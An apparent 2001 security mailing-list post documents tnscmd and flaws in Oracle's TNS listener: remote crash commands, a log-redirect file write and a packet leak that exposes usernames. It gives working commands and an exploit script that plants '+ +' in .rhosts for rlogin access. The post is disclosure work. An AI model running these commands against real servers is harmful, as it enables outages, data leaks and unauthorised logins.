On Wed, 25 Apr 2001, Guy Poizat wrote: > > >It works against Oracle 8.0.5 running on linux as > > >well... > > > > > >Tib > > > > Doesn't seem to work against Oracle 8.1.6 on linux, as far as i tried. I finally got around to documenting the bugs I was able to find back in October (DoS; write files wherever tnslsnr has write privs [ie, .rhosts]; packet leaking). I'd be interested to know what other versions of Oracle are affected by these problems -- I was testing Oracle 8.1.6 for Solaris (sun4u) at the time. The most current version of the document is available at: http://www.jammed.com/~jwa/hacks/security/tnscmd/tnscmd-doc.html I've included it below at the request of Aleph1. I'm interested in feedback; don't be shy in telling me I've got this all wrong. James [1]tnscmd documentation 25 April 2001 [2]jwaat_private $Id: tnscmd-doc.html,v 1.2 2001/04/26 06:46:47 jwa Exp $ I. Intro tnscmd can be used to speak, on a very simple level, with Oracle's TNS listener. The TNS listener (aka tnslsnr) is the network interface between a database client and the database server. tnslsnr listens on port 1521/tcp, but the DBA can change this (I've seen listeners on port 1541/tcp as well.) fwiw, [3]nmap-services lists these as ncube-lm and rds2, respectively. The tnslnsr keeps a spartan log of activity -- spartan in that it doesn't log a whole lot of useful information. For instance, it does not log the IP address of TNS sessions. If you initiate a TCP session to the tnslsnr port, you won't make much headway; it won't provide a banner and will probably disconnect if you type something. Don't worry; this is what tnscmd is for. II. tnscmd tnscmd is not even close to a full-blown Oracle client; it simply talks to the tnslsnr process. tnslsnr will respond to certain commands such as ping (an application-level no-op), version (dumps version information about Oracle), status (dumps status about the listener and database instances), and services (dumps info about the running services.) Commands are apparently case-insensitive. Let's say we've found the host oraclebox.example.com listening on port 1521. It might be running Oracle; how can we tell? the 'ping' command is a good place to start; tnscmd will issue a 'ping' command if given no command. If we want to ping this host to see if it is actually running tnslsnr, we would type: unix% tnscmd -h oraclebox.example.com -p 1521 sending (CONNECT_DATA=(COMMAND=ping)) to oraclebox.example.com:1521 writing 87 bytes reading .I......"..=(DESCRIPTION=(TMP=)(VSNNUM=135290880)(ERR=0)(ALIAS=LISTENER)) Here we see three things: * the TNS command: (CONNECT_DATA=(COMMAND=ping)) * the raw TNS packet sent to tnslsnr: .W.......6. [ etc ] * and the raw TNS reply packet from tnslsnr: .I......"..=(DESCRIPTION=( [etc] This reply is typical of 'ping' replies; the only thing I've noticed is VSNNUM=135290880 varies from host to host (yet it's the same on two different hosts running the same Oracle version). I don't know what this is. III. Information gathering OK, now we've established tnslsnr is running on this host. What else can we do? There are (at least) three commands that are useful for information gathering, version, status and services: unix% tnscmd version -h oraclebox.example.com -p 1521 sending (CONNECT_DATA=(COMMAND=version)) to oraclebox.example.com:1521 writing 90 bytes reading .M.......6.........-............(DESCRIPTION=(TMP=)(VSNNUM=135290880)(ERR=0)). a........TNSLSNR.for.Solaris:.Version.8.1.6.0.0.-.Production..TNS.for.Solaris: .Version.8.1.6.0.0.-.Production..Unix.Domain.Socket.IPC.NT.Protocol.Adaptor.fo r.Solaris:.Version.8.1.6.0.0.-.Production..Oracle.Bequeath.NT.Protocol.Adapter .for.Solaris:.Version.8.1.6.0.0.-.Production..TCP/IP.NT.Protocol.Adapter.for.S olaris:.Version.8.1.6.0.0.-.Production,,.........@ This is pretty straightforward. version reveals the version of Oracle (in this case, 8.1.6.0.0 for Solaris). Another command, status is a bit more verbose: unix% tnscmd status -h oraclebox.example.com -p 1521 sending (CONNECT_DATA=(COMMAND=status)) to oraclebox.example.com:1521 writing 89 bytes reading .........6.........`.............j........(DESCRIPTION=(TMP=)(VSNNUM=135290880 )(ERR=0)(ALIAS=LISTENER)(SECURITY=OFF)(VERSION=TNSLSNR.for.Solaris:.Version.8. 1.6.0.0.-.Production)(START_DATE=01-SEP-2000.18:35:49)(SIDNUM=1)(LOGFILE=/u01/ app/oracle/product/8.1.6/network/log/listener.log)(PRMFILE=/u01/app/oracle/pro [ snipped for brevity ] Wow, look at all that data. Kind of hard to read, but because it's all balanced within parens, we can break it up with the --indent option and make it purty: unix% tnscmd status -h oraclebox.example.com -p 1521 --indent We'll get something like: DESCRIPTION= TMP= VSNNUM=135290880 ERR=0 ALIAS=LISTENER SECURITY=OFF VERSION=TNSLSNR.for.Solaris:.Version.8.1.6.0.0.-.Production START_DATE=01-SEP-2000.18:35:49 SIDNUM=1 LOGFILE=/u01/app/oracle/product/8.1.6/network/log/listener.log PRMFILE=/u01/app/oracle/product/8.1.6//network/admin/listener.ora TRACING=off UPTIME=2032269835 SNMP=OFF Note SECURITY=OFF. I believe this indicates whether or not the DBA has assigned a password to the listener. Note START_DATE and UPTIME. Not clear if UPTIME is the tnslsnr uptime or the host uptime. Note the path to LOGFILE and PRMFILE. This can give you a good idea of the filesystem layout. Other strange oracle stuff: ENDPOINT= HANDLER= STA=ready HANDLER_MAXLOAD=0 HANDLER_LOAD=0 ESTABLISHED=0 REFUSED=0 HANDLER_ID=7044210BF3E5-01C8-E034-0800208A66F0 PRE=ttc SESSION=NS DESCRIPTION= ADDRESS= PROTOCOL=ipc KEY=EXTPROC ENDPOINT= HANDLER= STA=ready HANDLER_MAXLOAD=0 HANDLER_LOAD=0 ESTABLISHED=0 REFUSED=0 HANDLER_ID=7044210BF3E6-01C8-E034-0800208A66F0 PRE=ttc SESSION=NS DESCRIPTION= ADDRESS= PROTOCOL=tcp HOST=oraclebox.example.com PORT=1521 ENDPOINT= HANDLER= STA=ready HANDLER_MAXLOAD=0 HANDLER_LOAD=0 ESTABLISHED=0 REFUSED=0 HANDLER_ID=7044210BF3E7-01C8-E034-0800208A66F0 PRE=giop SESSION=RAW DESCRIPTION= ADDRESS= PROTOCOL=tcp HOST=oraclebox.example.com PORT=2481 .. unanswered question: what's running on port 2481? PROTOCOL_STACK= PRESENTATION=GIOP SESSION=RAW SERVICE= SERVICE_NAME=PLSExtProc INSTANCE= INSTANCE_NAME=PLSExtProc NUM=1 INSTANCE_CLASS=ORACLE NUMREL=1 SERVICE= SERVICE_NAME=pr01stage INSTANCE= INSTANCE_NAME=pr01stage NUM=1 INSTANCE_CLASS=ORACLE NUMREL=1 SERVICE= SERVICE_NAME=rcats INSTANCE= INSTANCE_NAME=rcats NUM=1 INSTANCE_CLASS=ORACLE NUMREL=1 [ ... ] The 'services' command outputs still more information: unix% tnscmd services -h oraclebox.example.com -p 1521 --indent [ ... ] SERVICE= SERVICE_NAME=PLSExtProc INSTANCE= INSTANCE_NAME=PLSExtProc NUM=1 INSTANCE_CLASS=ORACLE HANDLER= HANDLER_DISPLAY=DEDICATED.SERVER STA=ready HANDLER_INFO=LOCAL.SERVER HANDLER_MAXLOAD=0 HANDLER_LOAD=0 ESTABLISHED=86 REFUSED=0 HANDLER_ID=7044210BF823-01C8-E034-0800208A66F0 HANDLER_NAME=DEDICATED ADDRESS= PROTOCOL=beq PROGRAM=/u01/app/oracle/product/8.1.6/bin/extproc ENVS='ORACLE_HOME=/u01/app/oracle/product/8.1.6,ORACLE_SID=PLSExtProc ' ARGV0=extprocPLSExtProc ARGS=' LOCAL=NO ' NUMREL=1 PROGRAM, ENVS, and ARGV0 are potentially interesting. If the tnslsnr was started out of an interactive shell, ENVS will contain the user's environment. IV. Break stuff tnslsnr is vulnerable to remote denial-of-service attacks and potential security issues. According to Oracle, only versions 7.3.4, 8.0.6, and 8.1.6 are affected. I have verified vulnerabilities under 8.1.6 for Solaris. IV.1 - DoS: An unpassworded tnslsnr can also be shut down by sending it a 'stop' command. Obvious, eh? "Bad" TNS packets can crash the listener, regardless of whether or not the DBA has set a password. Sending tnscmd [badcommand] -h oraclebox.example.com will SEGV the listener. badcommand can be any one of: trc_file trc_level use_plugandplay trc_directory snmp_visible log_file log_status log_directory IV.2 - write files Recall the 'log_file' command and the LOGFILE variable returned by the 'status' command. This is the path to the tnslsnr log file. As you might imagine, this variable can be changed. If we send this TNS command (using the --rawcmd option to tnslsnr) unix% tnscmd -h oraclebox.example.com -p 1521 --rawcmd "(DESCRIPTION=(CONNEC T_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)(ARGUMENTS=4)(SERVICE =LISTENER)(VERSION=1)(VALUE=/tmp/floboz)))" .. then tnslsnr will open with O_APPEND /tmp/floboz and start logging messages to it. This can be verified by the response packet: ........"...(DESCRIPTION=(TMP=)(VSNNUM=135290880)(ERR=0)(COMMAND=log_file)(LO G FILENAME=/tmp/floboz)) .. or by unix% tnscmd status -h oraclebox.example.com --indent | grep LOG Since tnscmd runs as the oracle user, an attacker can write files anywhere the oracle user can. If an attacker knows the pathname to a database (can be deduced from the pathnames revealed by tnscmd), she can clobber the database. She might, however, chose a more subtle route: either by using finger or determining the oracle home directory by guesswork (/home/oracle? /u/oracle? /opt/oracle?), she can create a .rhosts or .forward file. While the tnslsnr doesn't log much, it *does* log bad commands; she can then send a command such as (note the embedded newlines in the quotes) unix% tnscmd -h oraclebox.example.com --rawcmd "(CONNECT_DATA=(( + + " .. tnslnsr will log something along the lines of TNS-01153: Failed to process string: + + NL-00303: syntax error in NV string into our log file / .rhosts. IV.3: tns packet leakage To the best of my knowledge, this bug remains unpatched in Oracle 8.1.7. By lying about the size of the packet we're sending to the tnslsnr, we can get the tnslsnr to reveal the contents of previous packets. We can do this with the --cmdsize option. While any command will work, we use " " (space) just so we preserve the original buffer contents as much as possible. unix% tnscmd --rawcmd " " -h oraclebox.example.com -p 1521 --cmdsize 40 Sending to oraclebox.example.com:1521 Faking command length to 40 bytes connect writing 84 bytes [(CONNECT_DATA=(COMMAND= ))] .T.......6.,...............:................4.............(CONNECT_DATA=(COMMA ND=.)) read ........"...(DESCRIPTION=(ERR=1153)(VSNNUM=135290880)(ERROR_STACK=(ERROR=(CODE =1153)(EMFI=4)(ARGS='(CONNECT_DATA=(COMMAND=.))vices))CONNECT'))(ERROR=(CODE=3 03)(EMFI=1)))) .. that's odd, where did that vices))CONNECT come from? Hey, that looks familiar... it looks like the services command I just sent in the last example! But what's with the CONNECT ? CONNECT_DATA comes at the beginning of the packet; maybe there's another command here? unix% tnscmd " " -h oraclebox.example.com -p 1521 --cmdsize 90 [ ... ] ........"...(DESCRIPTION=(ERR=1153)(VSNNUM=135290880)(ERROR_STACK=(ERROR=(CODE =1153)(EMFI=4)(ARGS='(CONNECT_DATA=(COMMAND=.))vices))CONNECT_DATA=(SID=stage1 )(global_dbname=stage1.oraclebox.XX'))(ERROR=(CODE=303)(EMFI=1)))) Apparently tnslsnr doesn't clear the buffer before writing a packet into it, or maybe it doesn't properly zero-terminate a string. Whatever is going on inside can be used to our advantage to harvest more interesting information. Let's go whole-hog and try it a --cmdsize of 200: ........"..>.H.......@(DESCRIPTION=(ERR=1153)(VSNNUM=135290880)(ERROR_STACK=(E RROR=(CODE=1153)(EMFI=4)(ARGS='(CONNECT_DATA=(COMMAND=.))vices))CONNECT_DATA=( SID=stage1)(global_dbname=stage1.oraclebox.XXXXXXX.example.com)(CID=(PROGRAM=C :\Program.Files\Quest.Software\TOAD\Toad.exe)(HOST=JAMESK-LT)(USER=JamesK))')) (ERROR=(CODE=303)(EMFI=1)))) (I added the XXX's to balance the packet :) Huh, a pathname, a hostname, and a username. No passwords, unfortunately -- SQL*net login is handled in a child process, IIRC -- but a username is a good place to start. On a busy server, this can potentially reveal lots of usernames. If the listener is passworded and the DBA connects, will the password be leaked? hmm. By playing with the --cmdsize argument, the rest of the "old" packet(s) will be revealed. Once you've gone past a certain point, though, you'll just get a TNS error (ERR=1153). It's also not too hard to write a program to find the optimal values & run it against a server for a few days .. V. References: * [4]CVE entry * [5]Oracle security alerts * [6]ISS's advisory * [7]Oracle Control Utility Reference * [8]advisory sent to Oracle and CERT on 23 Oct 2000 * [9]tnscmd home notes Commands intuited from 'strings `which tnslsnr`': * investigate spawn command; how to list what commands can be spawned? * ping - pings the listener * debug - dumps debugging info to the listener log (/u01/app/oracle/product/8.1.6/network/log/listener.log) * dispatch - ? * establish - "TNS-12504: TNS:listener was not given the SID in CONNECT_DATA" * reload - reloads config file 06-OCT-2000 23:37:03 * (CONNECT_DATA=(COMMAND=reload)) * reload * 0 06-OCT-2000 23:37:03 * service_register * pr01dev * 0 * services - dumps all sorts of chilly data * save_config - writes config to a backup file. (can this be specified remotely? hrm) * trace - needs a "trace level", unsure of the syntax here * version - pretty output of the installed TNS listener version(s) * stop - shuts the listener down (on purpose). if the DBA has set the database up properly, this should not work without a password. 0-day spl01t: #!/bin/sh # # jwaat_private 6 Oct 2000 # # point the logfile at $HOME/.rhosts ./tnscmd --rawcmd "(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(CO MMAND=log_file)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=135294976)(VALUE=/u01/ho me/oracle/.rhosts)))" -h oraclesvr2 # verify that it worked (this will dump the value of log_file) ./tnscmd --rawcmd "(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(CO MMAND=log_file)(ARGUMENTS=)(SERVICE=)))" -h oraclesvr2 # put arbitrary data into the logfile-- it will look something like this: # # 06-OCT-2000 18:14:46 * log_file * 0 # 06-OCT-2000 18:14:46 * log_file * 0 # 06-OCT-2000 18:14:47 * 1153 # TNS-01153: Failed to process string: # + + # # NL-00303: syntax error in NV string # ./tnscmd --rawcmd " + + " -h oraclesvr2 # # connect # rlogin -l oracle oraclesvr2 References 1. http://www.jammed.com/~jwa/hacks/security/tnscmd 2. mailto:jwaat_private 3. http://www.insecure.org/nmap 4. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0818" 5. http://otn.oracle.com/deploy/security/alerts.htm 6. http://xforce.iss.net/alerts/advise66.php 7. http://www.oradoc.com/ora8doc/DOC/network803/A51576_01/appa.htm 8. http://www.jammed.com/~jwa/hacks/security/tnscmd/tns-advisory.txt 9. http://www.jammed.com/~jwa/hacks/security/tnscmd/
This archive was generated by hypermail 2b30 : Thu Apr 26 2001 - 22:32:33 PDT